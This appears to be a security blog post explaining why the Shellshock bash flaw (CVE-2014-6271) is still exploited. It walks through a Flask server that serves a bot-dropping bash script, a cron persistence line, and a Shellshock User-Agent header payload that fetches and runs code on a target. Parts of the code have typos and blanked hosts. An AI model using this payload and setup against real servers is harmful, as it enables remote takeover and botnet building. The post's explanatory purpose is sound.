We have all heard of Shellshock. For those who are not aware, Shellshock is a Linux-targeting vulnerability that was discovered in late 2014 and published as CVE-2014-6271.

The exploit was found within the bourne-again shell (BASH), which was the default command shell on almost every Linux and Unix system back then. It enables attackers to execute commands with super-user privileges remotely.

Bargain Bin for Bad Actors

Since many applications rely on the BASH, the most common attack method is to send a command sequence to the web server to be interpreted with the BASH.

That said, why is Shellshock still in use? The answer is simple: It’s a very cheap attack. Although servers could have been patched for more than two years now, studies have shown that some remain vulnerable.

Attackers need only a server, basic programming skills and access to malware to carry out this type of attack. The level of knowledge and effort required is quite low. Fraudsters can simply launch attacks against hundreds of different IP addresses per minute and wait to hit a vulnerable server by chance. Furthermore, a Shellshock attack can be carried out for the low price of 4.95 euros, or just a little more than $5, a month.

Setting Up a Shellshock Attack

Let’s walk through the setup of an attacking server. First we need a web server to host our malicious code. We could set up our own Apache or lighthttp server. For this example, however, we will use some basic Python code — namely, Python Flask — just to speed up the setup phase of our attacking server.

On the main page, we will return a shell script that we would like to have executed on the target server, so we can always adjust our code without the need to change our attack script:

import flask

@app.route(“/”)

def main_site():

return ”’#/bin/bash

curl /perlbot > /usr/local/perlbot
chmod +x /usr/local/perbot
/usr/local/perlbot”’

The bash script is simple:

  1. Download the perbot from this server and save it to a certain path.
  2. Make the file executable.
  3. Execute it.

For the sake of persistence, we could add a line to execute our bot after every reboot. For example:

echo ” @reboot /usr/local/perlbot” > /etc/cron.d/daily

Now we need to get the target to execute this BASH script and prepare the statement to exploit the Shellshock vulnerability:

curl -H “User-Agent: () { :; }; curl > myscript.sh ; sh myscrypt.sh”

Curl will download the BASH script, save it as myscript.sh and execute it afterwards. The final step is to have a downloadable file to add a simple function to our web server:

@app.route(‘/perlbot’, methods=[‘GET’, ‘POST’])
def download(filename):
uploads = os.path.join(current_app.root_path, app.config[‘UPLOAD_FOLDER’])
return send_from_directory(directory=uploads, filename=”perlbot”)

Finally, we are done.

Simple Math

With some more scripting effort, you could easily execute the curl statement against a full network range, or even the whole internet, but it will take a while.

In the end, it is simple math. Statistics show that about 10 percent of all servers are not patched. So let’s say we can attack 1 million servers in six months. That equates to 100,000 bots at a price of 29.70 euros (about $31) — certainly cheap enough to be worth a cybercriminal’s time.

Read the X-Force Research Report: Beware of older cyber attacks

More from Software Vulnerabilities

FYSA – Critical RCE Flaw in GNU-Linux Systems

2 min read - Summary The first of a series of blog posts has been published detailing a vulnerability in the Common Unix Printing System (CUPS), which purportedly allows attackers to gain remote access to UNIX-based systems. The vulnerability, which affects various UNIX-based operating systems, can be exploited by sending a specially crafted HTTP request to the CUPS service. Threat Topography Threat Type: Remote code execution vulnerability in CUPS service Industries Impacted: UNIX-based systems across various industries, including but not limited to, finance, healthcare,…

X-Force discovers new vulnerabilities in smart treadmill

7 min read - This research was made possible thanks to contributions from Joshua Merrill. Smart gym equipment is seeing rapid growth in the fitness industry, enabling users to follow customized workouts, stream entertainment on the built-in display, and conveniently track their progress. With the multitude of features available on these internet-connected machines, a group of researchers at IBM X-Force Red considered whether user data was secure and, more importantly, whether there was any risk to the physical safety of users. One of the most…

X-Force releases detection & response framework for managed file transfer software

5 min read - How AI can help defenders scale detection guidance for enterprise software tools If we look back at mass exploitation events that shook the security industry like Log4j, Atlassian, and Microsoft Exchange when these solutions were actively being exploited by attackers, the exploits may have been associated with a different CVE, but the detection and response guidance being released by the various security vendors had many similarities (e.g., Log4shell vs. Log4j2 vs. MOVEit vs. Spring4Shell vs. Microsoft Exchange vs. ProxyShell vs.…

Topic updates

Get email updates and stay ahead of the latest threats to the security landscape, thought leadership and research.
Subscribe today